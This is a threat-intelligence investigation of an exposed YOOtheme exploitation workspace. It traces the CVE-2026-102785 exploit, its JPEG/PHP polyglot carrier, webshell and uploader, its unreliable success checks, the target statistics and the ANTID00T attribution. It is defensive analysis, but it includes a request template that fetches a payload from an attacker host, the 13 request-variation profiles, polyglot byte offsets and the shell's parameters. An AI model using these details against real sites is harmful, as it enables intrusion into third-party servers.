Cache Ronin: Inside a YOOtheme Exploitation Workspace
An investigation of an exposed YOOtheme exploitation workspace, its tooling and the results recorded in its logs. Cache Ronin is a label for this dataset, not a tracked threat group.
Contents
- Summary
- Introduction
- The workspace and its contents
- The vulnerability behind the exploit
- Inside yootheme.py
- What the 13 successes actually mean
- The target list
- A second implementation and the wrappers
- The ANTID00T and Jelly Project connection
- What the artifacts say about attribution
- Network and request indicators
- Other files in the workspace
- Conclusion
- References
Summary
The workspace. An exposed directory at 174.138.177[.]12:8888 contained the main YOOtheme exploit, a second implementation, target lists, wrappers, payload files and logs. One retained run marked 13 of 163 URL entries as [Exploited].
The result. The run marked 13 entries as successful, but the shell check accepts a response marker that the payload prints even when operating-system command execution is unavailable.
The connection. The main script is byte-for-byte identical to a public ANTID00T release. The workspace also contains ANTID00T and Jelly Project branding; its operator remains unidentified.
Introduction
On 12 November, I found an open directory at 174.138.177[.]12:8888 containing a YOOtheme exploitation workspace: Python scripts, target lists, PHP-bearing files, wrappers and logs. I checked again on 18 November; the directory remained accessible and the logs had continued to grow.
The retained batch log listed 163 URL entries and marked 13 as [Exploited]. I traced the main script’s discovery, request construction and payload-delivery stages, then examined the checks behind those labels.
The files link the tooling to a public exploit release and the wider ANTID00T and Jelly Project ecosystem. They do not reveal who operated this particular workspace.
The workspace and its contents
The listing contained the main script, an alternate implementation, target inputs, wrappers, payload files and logs from the exploitation workspace.
| File or group | Purpose |
|---|---|
CVE-2026-102785/yootheme.py |
Main exploit, internally labeled version 2.2 |
yootheme_exploit.py |
Related implementation, internally labeled version 3.1 |
yt.py, yt.sh |
Wrappers that call the main script |
exploit_log.txt |
Batch configuration and result summary |
targets.txt and smaller lists |
Target inputs, with substantial overlap |
yootheme_dorks*.txt |
Prepared searches for candidate sites |
p.jpg, payload.jpg, shell.jpg |
Identical PHP-bearing files, examined below |
| HTTP, payload and listener logs | Requests recorded by the exposed services |
| Other files | Cookie jars, saved HTML, a cloud-probe script and repository artwork |
The retained batch uses the console format produced by the main script. The separate 3.1 implementation uses weaker checks; both wrappers call the main script.
Public source match
The exposed .git/config names antid00t/CVE-2026-102785 as the repository origin, and its packed references point to commit af1a10296702ccb4d1ae70bca65a1fb0846d0979. The exposed main script and README have the same raw-byte SHA-256 hashes as the files at that revision. ANTID00T CVE-2026-102785 repository at the matching commit
The match establishes the files’ public source, not who downloaded or ran them.
Reconstructing the timeline
The timeline combines public CVE and commit dates with server-reported file metadata.
| Date | Source | What it establishes |
|---|---|---|
| 21 October 2026 | Vendor changelog | Release of the 5.0.53 fix |
| 22 October 2026 | CVE record | Public CVE publication |
| 24 October 2026, 22:29:42 UTC | Matching Git commit | Recorded upstream author/committer time |
| 25 October 2026 | Main-script and README HTTP headers | Server-reported file modification date |
| 26 October 2026, 14:23:23 | p.log |
Two requests for /p.jpg; timezone not recorded |
| 28 October 2026 | Several script/input headers | File dates, not a verified execution sequence |
| 6 November 2026 | gcp_test.sh header |
A cloud-probe file date, not proof it ran |
| 10 November 2026 | Saved HTML and cookie-jar headers | Server-reported modification dates |
| 12 November 2026 | My collection records | Retrieval and initial analysis |
| 18 November 2026 | Re-check of the same listing | Logs still growing; directory still served |
The vulnerability behind the exploit
| Field | Recorded value |
|---|---|
| CVE | CVE-2026-102785 |
| State / assigning CNA | PUBLISHED / Joomla |
| Reserved | 29 September 2026, 16:46 UTC |
| Published | 22 October 2026, 12:36 UTC |
| Affected product entry | YOOtheme Pro extension for Joomla |
| Affected versions | 5.0.0–5.0.52 |
| Weakness | CWE-434, unrestricted upload of a file with a dangerous type |
| Severity | CVSS 4.0: 10.0, Critical (assigned by the Joomla CNA) |
| Finder credit | David Willis-Owen |
The NVD record remains Awaiting Enrichment and has not provided an independent severity assessment.
YOOtheme’s publicly accessible image transformation handler uses signed URLs to authorize image-processing requests. In affected versions, the signature does not adequately bind the normalized image operations and output destination to the request.
A signature exposed in a legitimate public image URL can therefore be reused with additional image operations and a modified output path. The handler can then write attacker-controlled image content outside the intended cache, including to a publicly accessible location with an executable extension.
The payload is an image/PHP polyglot: the image-processing library handles it as an image, while the web server can interpret the embedded PHP when the resulting file is requested. Execution runs with the web process’s permissions.
In the workspace’s implementation, FROMFILE specifies the external image source and SAVE controls the output path. Together, they turn the image transformation workflow into a file-placement mechanism. The CVE description identifies a PNG/PHP polyglot; this implementation uses a JPEG-based carrier.
YOOtheme fixed the issue in version 5.0.53, released on 21 October 2026. The patch adds an allowlist for image operations and checks that the requested cache filename matches the filename generated for the signed image URL. See the official changelog and the mySites.guru package comparison.
Inside yootheme.py
I traced yootheme.py first because its output format matches the retained batch. It searches for a signed image URL, rebuilds the request, serves a PHP-bearing image from its listener and checks the resulting public file.
Exploitation workflow at a glance
The main script follows six stages:
- Target discovery: Fetch the supplied URL, identify the likely CMS and locate candidate YOOtheme image-cache URLs.
- Signed URL extraction: Parse the cache route, preserve its query parameters and derive the filename token used during route construction.
- Request construction: Rebuild the signed route with
FROMFILEandSAVE, then generate variations covering parameter parsing, encoding, route handling and HTTP methods. - Payload delivery: Serve a PHP-bearing JPEG polyglot from the script’s local HTTP listener for the target to retrieve.
- File placement: Attempt to write the processed payload into a candidate public directory with a PHP-compatible extension.
- Verification: Request the resulting file and evaluate the response using the shell or uploader checks.
URL discovery, file placement and PHP execution are separate stages; success at one does not establish the next.
Finding a signed URL
The first pass runs in exploit_target. It fetches the supplied URL through fetch_follow, which follows a bounded redirect chain. detect_platform looks for WordPress or Joomla strings in the returned HTML. This platform guess selects routes and candidate directories; it does not identify the installed YOOtheme version.
If the homepage exposes neither a candidate signed URL nor a YOOtheme fingerprint, the script marks the target as having no YOOtheme fingerprint and skips deeper discovery.
When the homepage does not expose a usable URL, chained_discovery searches four levels:
| Level | What the script checks |
|---|---|
| L0 | The homepage response |
| L1 | Discovery paths such as sitemaps, robots.txt, feeds, WordPress REST routes and Joomla content views |
| L2 | Up to 12 selected content URLs found during discovery, along with selected child sitemaps |
| L3 | Up to 24 same-host links selected from the original homepage, excluding common static-resource extensions |
The configured L1 list contains 18 entries, including one duplicate. The fetch helper deduplicates the list and caps it at 16 requests.
extract_signed_urls unescapes the HTML, extracts URL-like strings, resolves relative references and looks for YOOtheme cache routes with a 4-to-12-character hexadecimal component. This is the script’s candidate-matching rule, not a weakness in the signature algorithm.
The main path selects the first parseable candidate with a usable filename token.
parse_signed recognizes query-form and path-form cache routes. It retains query parameters as pairs, preserving duplicate keys and blank values. However, parse_qsl decodes the query before the request builder serializes it again, so the original URL is not preserved byte for byte.
The parsed field named key is not a signing secret. It comes from the final hyphen-separated component of the cache filename:
def derive_key(route_file):
name = os.path.basename(route_file)
name = name[: name.rfind(".")] if "." in name else name
return name.split("-")[-1]
The script reuses this filename token when constructing the route; it does not recover the YOOtheme signing secret.
Rebuilding the image request
With a usable URL, the script rebuilds the route and adds two parameters: FROMFILE, which identifies the external file to retrieve, and SAVE, which specifies the output path. It tracks the filesystem-relative destination as rel and the browser-visible URL as pub.
derive_save_dirs builds destination candidates from the image’s src value, directory references in page content, upload and media paths, and platform-specific fallbacks. These are candidate locations; the script does not establish that each is writable or publicly accessible.
run_vector selects the original cache route or a WordPress admin-ajax.php or cache-path alternative, depending on the platform guess and route-mode checks.
Expanded mode defines 13 request profiles covering parameter parsing, capitalization, encoding, route form, output extension and HTTP method.
| Profile | Route | Variation |
|---|---|---|
| F1 | Original | Random parameter case, stronger route encoding and extra parameters |
| F2 | Original | F1 plus a duplicate SAVE parameter, with a decoy value first |
| F3 | admin-ajax.php |
Random parameter case and stronger route encoding |
| F4 | Original | Double-encoded route |
| F5 | admin-ajax.php |
Duplicate SAVE parameter |
| F6 | Cache path form | Random parameter case and extra parameters |
| F7 | Original | Plain request without extra parameters or encoding changes |
| F8 | Original | .phtml output extension |
| F9 | admin-ajax.php |
.phtml output extension |
| F10 | Cache path form | Duplicate SAVE parameter |
| F11 | Original | HEAD instead of GET |
| F12 | admin-ajax.php |
HEAD instead of GET |
| F13 | Original | HEAD, duplicate SAVE and double-encoded route |
When expanded mode is disabled, the script uses a single P1 profile. Extra parameters accompany every expanded profile except F7, which is deliberately plain.
For duplicate-parameter profiles, profile_extras creates a decoy filename in the same directory: an a prefix, five random characters and a .jpg extension. It places this value before the real destination. A handler that keeps the first SAVE value will therefore handle the request differently from one that keeps the last. Version 3.1 uses a different decoy, appending _decoy.jpg to the real name.
The stronger encoder is applied to the new route filename:
def qenc_strong(v):
return urllib.parse.quote_plus(v, safe="").replace(".", "%2E")
Values such as SAVE use the ordinary query encoder, which can encode slashes while leaving the dot in .php literal. The route filename and SAVE value are encoded differently.
The constructed request has this general form:
<signed cache URL>?<original params>&FROMFILE=http://<payload-host>:<port>/<random>.jpg&SAVE=<dir>/<random>.php
The cache-route filename ends in .png, in a form such as {token}{attempt}-{key}.png; the first attempt omits the counter. The .php or .phtml extension appears in SAVE, not in the route filename.
The admin-ajax.php variant uses a different entry point and prefixes the save path with ../ because its effective base directory is one level deeper:
/wp-admin/admin-ajax.php?action=yootheme&<param>=cache/<route>&FROMFILE=...&SAVE=../<dir>/<random>.php
That prefix applies to this route variant, not every request.
For each target, try_payload randomizes the case of the payload filename but uses a fixed mixed-case HtTp:// scheme. The script caches payload URLs by type (shell or uploader), allowing later attempts to reuse the registered payload. Its 30-attempt budget is checked around batches; paired shell/uploader attempts and verification requests can push the total HTTP request count higher.
Response handling
After sending a request, the script calls looks_like_waf. It treats HTTP 403, 406, 419, 501 and 429 as possible filtering responses. For other statuses, it checks the response headers and first 2,048 body bytes against a regular expression.
If the heuristic flags a response, run_vector skips that vector’s post-check. Otherwise, it runs the verification callback without first requiring a successful image-handler status. The heuristic neither identifies a WAF product nor explains why the request failed.
The payload listener and JPEG carrier
When the image handler fetches the external source, it retrieves the carrier from the exploit’s payload listener. PayloadServer uses ThreadingHTTPServer, binds to 0.0.0.0 and normally lets the operating system select the port. serve_payload registers the exact filenames and byte strings returned by the handler.
Registered carriers are served as image/jpeg; a separate PHP-suffix branch serves uploader bytes as text/plain. The handler suppresses its access logs. This listener is separate from the directory listing on port 8888. The retained batch records it on port 34595, so its requests would not necessarily appear in the directory-service logs.
The main script determines its advertised address by asking a UDP socket which local source address an outbound connection would use. Version 3.1 instead queries api.ipify.org.
Both implementations use the same fixed 1,772-byte JPEG template. The main script also supports a local yt_polyglot_template.b64 override; none was present in the collected directory. The embedded template contains JFIF data and Photoshop/IPTC-style metadata, with a baseline frame of 48 by 32 pixels.
The relevant structure is:
| Offset | Marker or range | Meaning |
|---|---|---|
| 0 | FF D8 |
Start of image |
| 2 | FF E0 |
JFIF segment |
| 20 | FF ED |
Photoshop/IPTC-style metadata |
| 50-52 | 1C 02 78 |
Replaceable metadata record prefix |
| 53-54 | 04 00 |
Record length of 1,024 bytes |
| 55-1078 | 1,024 bytes | Placeholder replaced by padded PHP |
| 1279 | FF C0 |
Baseline frame segment |
| 1730 | FF DA |
Start of image scan |
| 1770 | FF D9 |
End of image |
build_polyglot_jpeg finds the record prefix and placeholder, then replaces the 1,024-byte slot with padded PHP. The fixed slot size leaves the surrounding metadata length fields unchanged. The main shell occupies 690 bytes, with 334 bytes of padding. The general padding helper can truncate oversized input, but the main shell builder checks that its own code fits.
The hash f075fa747257d4fb95dc955a6a307903dea1aa9a30e6416a2af4bb839b67f0d2 belongs to the untouched template, which contains the placeholder bytes but no PHP opening tag. It is not a generated-carrier hash.
The payload survives only if the image-processing library preserves the relevant metadata. Stripping metadata or decoding and re-encoding the image can remove or alter the PHP; the static template alone does not guarantee preservation.
What the shell and uploader do
The embedded shell accepts commands through parameter c, appends 2>&1 and tries system, shell_exec, passthru and exec in sequence. It also accepts file content through w[n] and base64-encoded w[d], then writes the decoded data relative to __DIR__.
The handler has no authentication check or visible path-containment restriction on the file-write name. Base64 encodes the file content; it does not encrypt it. The shell runs under the web process’s permissions and the server’s PHP configuration, not automatically as root.
After the command attempt, the shell emits YT5-PWNED with the PHP version. The main script uses this marker for verification, even when no command-execution function is available.
The uploader accepts multipart field f, applies basename() to the filename and saves it beside the uploader with move_uploaded_file(). It returns OK: or ERR and displays ANTID00T. There is no authentication check, extension allowlist or content validation. Some function and variable names are assembled from string fragments, avoiding simple literal-string searches without changing their behavior.
The main exploit first retrieves the uploader from the mutable main branch of the ANTID00T repository. It accepts a response beginning with a PHP tag and shorter than 600 bytes; otherwise, it uses its embedded 355-byte copy. This checks format and size, not integrity, and does not establish which bytes a past run downloaded.
If the shell works but the uploader is unavailable, expanded mode tries two further deployment paths. It can write the uploader through w[n] and base64 data in w[d], expecting WROTE: in the response. Alternatively, it serves the uploader at /up.php and asks the shell to retrieve it with curl, wget or fetch. The tool then checks the page and may run a multipart upload probe.
The branches can leave three states: a shell with a verified uploader, a shell with an unverified uploader, or a shell alone. The console labels each [Exploited].
What the 13 successes actually mean
The retained console summary reports 13 exploited results from 163 URL entries. The success logic shows what that label actually represents.
The main script’s is_success helper accepts either a shell response or a recorded uploader URL. In safe mode, signature reuse also counts as success:
def is_success(r, safe_mode=False):
return bool(r["rce"] or r.get("uploader_url") or (safe_mode and r["signature_reuse"]))
The retained run used safe_mode = False, so signature reuse alone did not produce any of the 13 labels. The script nevertheless treats a shell response and an uploader URL as equivalent success states, although they represent different levels of access.
The retained log records 163 targets, 15 worker threads, a 20-second timeout and FULL ARSENAL mode. It reports 13 exploited results and zero write-proof results over 2,724.6 seconds (about 45 minutes). Its output format matches the main 2.2 script.
The shell check posts the default command, id, but it does not look for the command’s output. It only checks for HTTP 200 and the YT5-PWNED marker followed by a PHP version:
def shell_check(pub, cmd=args.cmd):
st_c, body_c, _ = http_post(pub, {"c": cmd}, timeout=args.timeout, ua=ua)
last_shell_body.append(body_c or b"")
return st_c == 200 and bool(re.search(rb"YT5-PWNED:\|\d", body_c or b""))
The payload prints YT5-PWNED:| followed by PHP_VERSION after trying the available execution functions. If system, shell_exec, passthru and exec are all unavailable, it prints [no-exec-fn] but still emits the marker. The check ignores this condition and does not validate the output of id; it only requires HTTP 200 and the marker pattern. A matching response supports PHP payload interpretation, not successful operating-system command execution. The retained results contain no response bodies or command output with which to validate the 13 individual checks.
Separating the evidence levels
The evidence falls into three distinct levels:
| Evidence | What it establishes |
|---|---|
| PHP marker and version returned by the generated shell endpoint | Evidence of PHP payload interpretation, assuming the response is genuine |
Expected id output or corresponding server-side process evidence |
Operating-system command execution |
| Successful file creation followed by retrieval, or a completed uploader probe | File-write capability and subsequent access to the written file |
The main script collapses these states into one [Exploited] label.
The 163 entries break down as follows:
| Recorded result | Count |
|---|---|
[Exploited] |
13 |
| Signed URL found but could not be parsed | 45 |
| No signed image URL found on public pages | 40 |
| Signature rejected with HTTP 400 | 31 |
| No signed URL or writable path found | 15 |
| No YOOtheme fingerprint | 10 |
| Unreachable | 9 |
| Total | 163 |
The remaining 150 entries are not evidence that those sites were safe. Parser failures may reflect how the script handles a URL; HTTP 400 responses may result from request canonicalisation rather than a patch; and an early skip means only that the homepage exposed no candidate URL or fingerprint.
Uploader verification also varies by path. The normal path uploads a file and requests it again, looking for yt5-upload-probe. Some fallbacks use a weaker content check: HTTP 200 with ANTID00T, provided the response does not resemble the shell marker or raw PHP. The log does not identify which branch produced each uploader URL or preserve its upload_test result.
The write-proof 0 field is also narrower than its name suggests. Its n_write counter counts results with signature_reuse but no RCE result or uploader URL; it does not count every non-empty write_proof field. Expanded mode skips an earlier non-full probe block, leaving some fields at their defaults. The zero therefore does not account for every possible file write.
verify_public has a separate bug: it compares a three-byte prefix against the JPEG signature (three bytes) and PNG/GIF signatures (four bytes). The PNG and GIF comparisons can never match as written, and an image header alone would not demonstrate PHP execution.
The log establishes that the tool reported 13 successes. It does not establish 13 confirmed compromises or successful command execution.
The target list
The target list contains 163 URLs across 162 hostnames, with one hostname appearing on two ports. URL counts are not organization counts, particularly where subdomains, alternate ports and shared hosting are involved.
Five of the seven .ie entries were marked successful, but the collection method and selection criteria are unknown. The suffix distribution is not a country-level exposure measure; a domain suffix does not establish where an organization or its hosting is based.
| Domain suffix or address type | Entries | Reported successes |
|---|---|---|
.ie |
7 | 5 |
.de |
28 | 3 |
.br |
6 | 1 |
.ru |
2 | 1 |
.nl |
3 | 1 |
.info |
3 | 1 |
| Bare IP address | 3 | 1 |
.com |
55 | 0 |
| All other suffixes | 56 | 0 |
| Total | 163 | 13 |
Search-index descriptions associated some of the 13 entries with building cleaning, event services, food services and veterinary-product wholesale. The other nine were unclassified. These descriptions do not establish that any sector was specifically targeted.
All 13 success rows list a shell URL and an uploader URL in the same directory. Twelve paths follow a WordPress-style structure, mostly under /wp-content/uploads/, but the path alone does not identify the installed CMS. The logs contain no evidence of database access, credential theft or operating-system takeover.
A second implementation and the wrappers
The workspace also contains yootheme_exploit.py, labeled version 3.1. It uses the same JPEG template and a similar uploader, but its discovery and verification logic is simpler.
| Detail | Main yootheme.py 2.2 |
Related yootheme_exploit.py 3.1 |
|---|---|---|
| Default workers | 5 | 10 |
| Default timeout | 15 seconds | 20 seconds |
| Discovery | Homepage, metadata, content and same-host links | A fixed set of common pages such as /about, /contact and /blog |
| Signed URL candidates | First usable parsed candidate | Up to three candidates |
| Expanded profiles | 13 | 3 |
| Directory selection | Page references plus platform fallbacks | First five of eight fixed entries |
| Shell check | POST and marker/PHP-version pattern | GET and marker or uid= |
| Uploader check | Content checks and multipart verification on some paths | HTTP 200 alone |
Version 3.1 uses three regular expressions against raw HTML to find a /cache/ path, a yootheme=cache query or an absolute cache URL, each with a 6-to-12-character hexadecimal hash. The main script accepts 4 to 12 hexadecimal characters case-insensitively and applies a separate filename-token check, so the versions can identify different candidates on the same page.
The 3.1 path-form route ends in exploit.webp, while SAVE still ends in .php. The script stops at its first accepted shell. Its uid= check can match an error page, and HTTP 200 alone does not confirm an upload. No retained log shows a run of this implementation.
The yt.py and yt.sh wrappers call the main script from /tmp/CVE-2026-102785/ with --full2. They manage temporary input files and format console output; neither adds verification. The retained batch used 15 workers and a 20-second timeout, which differs from the wrapper defaults.
Both implementations disable TLS certificate verification. The main script adds timed DNS resolution, caching and a DNS-over-HTTPS fallback, and can retry selected HTTPS failures over HTTP. It caps target workers at 128; internal discovery uses six workers at 16 target threads or fewer, and three above that. Shell and uploader attempts can run in parallel, so the outer thread count does not equal the maximum number of simultaneous requests. The script sets args.safe = False by default and therefore runs in an active, not read-only, mode.
The ANTID00T and Jelly Project connection
The source match ties the main script to ANTID00T. The repository, GitHub profile and promotional material also link ANTID00T to the @antidxt Telegram account and Jelly Project channel.
The Telegram channel promotes webshells, exploit tooling, SEO services and paid access. Posts advertise versions of a product called Jelly and claim CVE coverage, WAF bypasses and uploader methods. The posts are promotional material, not independent evidence of sales, inventory, victim counts or tool effectiveness.
A 24 October post provides the clearest overlap. It advertises CVE-2026-102785, 13 WAF-bypass profiles, three uploader methods and polyglot writing, matching the profiles and uploader paths in the examined code. The local wrappers also use the --full2 flag mentioned in the post. This links the promotion to the same tool family, but not to the unidentified workspace operator.
The free 2.2 script contains no telemetry or command channel. It sends requests to target sites, its payload listener, DNS-over-HTTPS resolvers and GitHub to retrieve the uploader. Version 3.1 also queries api.ipify.org; neither implementation sends results to Jelly Project.
The standalone exploit is public, and the batch output matches that release. The workspace therefore contains publicly available tooling associated with ANTID00T and Jelly Project, but the available files do not show whether the operator used a paid product or identify who ran it.
What the artifacts say about attribution
The source contains Turkish-language strings and uses a Turkish preference in its synthetic request headers. Selected requests also include:
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
Accept-Language: en-US,en;q=0.9,tr;q=0.8
These headers can help fingerprint requests generated by the tool, but they reveal nothing reliable about the operator’s location or identity.
The exposed IP belongs to an Interserver network allocation, according to the ARIN RDAP record. The available artifacts do not link the workspace to a known actor or campaign, and do not establish the operator’s intent or authorization.
Network and request indicators
| Indicator | Context |
|---|---|
174.138.177[.]12:8888 |
Exposed workspace address |
Port 34595 |
Payload listener recorded in this batch |
Port 4444 |
Listener in nc.log; no confirmed shell session |
YT5-PWNED |
Embedded shell response marker |
ANTID00T |
Tool and uploader branding |
yt5-upload-probe |
Main tool’s upload-test content |
FROMFILE, SAVE |
Parameters used by the examined exploit |
X-Forwarded-For: 127.0.0.1, X-Real-IP: 127.0.0.1 |
Forwarding headers set on selected requests |
Accept-Language: en-US,en;q=0.9,tr;q=0.8 |
Synthetic request-header profile |
GitHub, Telegram, DNS-over-HTTPS and cloud metadata endpoints are legitimate services referenced by the tooling; their presence alone does not make them malicious infrastructure.
Other files in the workspace
The three loose image files
p.jpg, payload.jpg and shell.jpg are identical 55-byte files. Each begins with GIF89a;, followed by a PHP opening tag at offset 7. The body passes the c query parameter to system() and then calls __halt_compiler(). Although served as image/jpeg, the prefix is not a complete GIF. They appear to be separate shell-placement tests; the retained batch contains no evidence that they were used.
Cookie jars and saved HTML
cookies.txt and cookies2.txt are 281-byte Netscape-format cookie jars with two records for one domain. Their values match, but their expiry fields differ. They were not tested against a live service, so their validity is unknown. Three other jars contain only the libcurl header and no cookie records.
shell_output.html is a saved password-form response. It contains no backend authentication logic and is unrelated to the YOOtheme batch.
The cloud probe and service logs
gcp_test.sh requests a token from the Google metadata endpoint, then attempts Cloud Storage and IAM listing operations for a fixed project. No token response, API output or cloud audit record indicates that the requests succeeded. The script is not linked to a batch target; the metadata endpoint is a legitimate cloud service, not an IOC.
The collected p.log contains 150 GET and 15 HEAD requests for /p.jpg between 26 October and 12 November; the first two were recorded on 26 October. The timestamps have no timezone. The directory logs also contain unrelated probes and requests from this investigation. When I re-checked the listing on 18 November, the logs were still growing: p.log had increased from roughly 40,000 lines at collection to more than 60,000.
nc.log records an HTTP GET received by a listener on port 4444.
File fingerprints
SHA-256 hashes of the collected artifacts:
| Artifact | SHA-256 |
|---|---|
Main yootheme.py |
220c6e034f9578963ddc64261f4b614f4ca6f8146ea59584a86869e2d8c0c983 |
Related yootheme_exploit.py |
b9de8f303db75b4e7bd53bf968dc1093893c965732693e16d0907eaaa69c2ea4 |
p.jpg, payload.jpg, shell.jpg |
e2366ff87ad0d92282b6f20ed0aaf613fdd67b28a39e95d271d521ef85fbe5f7 |
| Unmodified JPEG template | f075fa747257d4fb95dc955a6a307903dea1aa9a30e6416a2af4bb839b67f0d2 |
| Main embedded uploader | 833f0d51b44158e7bc1d839905c4b78bb6d3bbaa1cd1c315d7eb7125d6db6a01 |
| Related embedded uploader | a9d734f3d501be33ee98ae69c84777077da49d56f27bbf7faa73381804563710 |
Conclusion
The exposed directory contained a YOOtheme exploitation workspace built around a public exploit release. Its scripts, wrappers, payloads and logs show how the tooling discovered signed image URLs, constructed requests and classified results.
One retained run marked 13 of 163 URL entries as [Exploited]. The shell check accepts a PHP response marker without validating the output of the requested command, so the log does not establish 13 successful command executions or confirmed compromises. The directory and its logs were still active when I checked again on 18 November.
The source of the main script and its public associations are traceable. The available files do not identify the workspace operator or establish what happened on each target.
References
- CVE Program record: CVE-2026-102785 — official CVE record published by the Joomla CNA.
- NVD: CVE-2026-102785 — NVD product entry and current enrichment status; NVD has not supplied its own severity assessment.
- YOOtheme Pro changelog — 5.0.53 security fix dated 21 October 2026; 5.0.56 dated 16 November 2026.
- mySites.guru: CVE-2026-102785 technical analysis — package comparison of the 5.0.52 and 5.0.53 image-handler behavior and attribution of the CVSS 4.0 score to the Joomla CNA.
- WPScan: YOOtheme Pro 5.0.0–5.0.52 WordPress theme entry — separate WordPress-theme listing, marked
Verified: Noby WPScan. - Wordfence: YOOtheme Pro WordPress-theme vulnerability entry — separate WordPress-theme record with a CVSS 3.1 score of 9.8.
- ANTID00T CVE-2026-102785 repository, commit
af1a10296702ccb4d1ae70bca65a1fb0846d0979— public source revision used for the byte-for-byte comparison. - ANTID00T GitHub profile — profile and repository ownership context.
- @antidxt Telegram profile — advertised contact linked from the public repository.
- Jelly Project Telegram channel — channel associated with the tool branding.
- BGP.HE: 174.138.176.0/20 and IPinfo: 174.138.176.0/20 — public network-allocation data identifying the prefix as Interserver, Inc.; this identifies the network registrant, not the server subscriber or operator.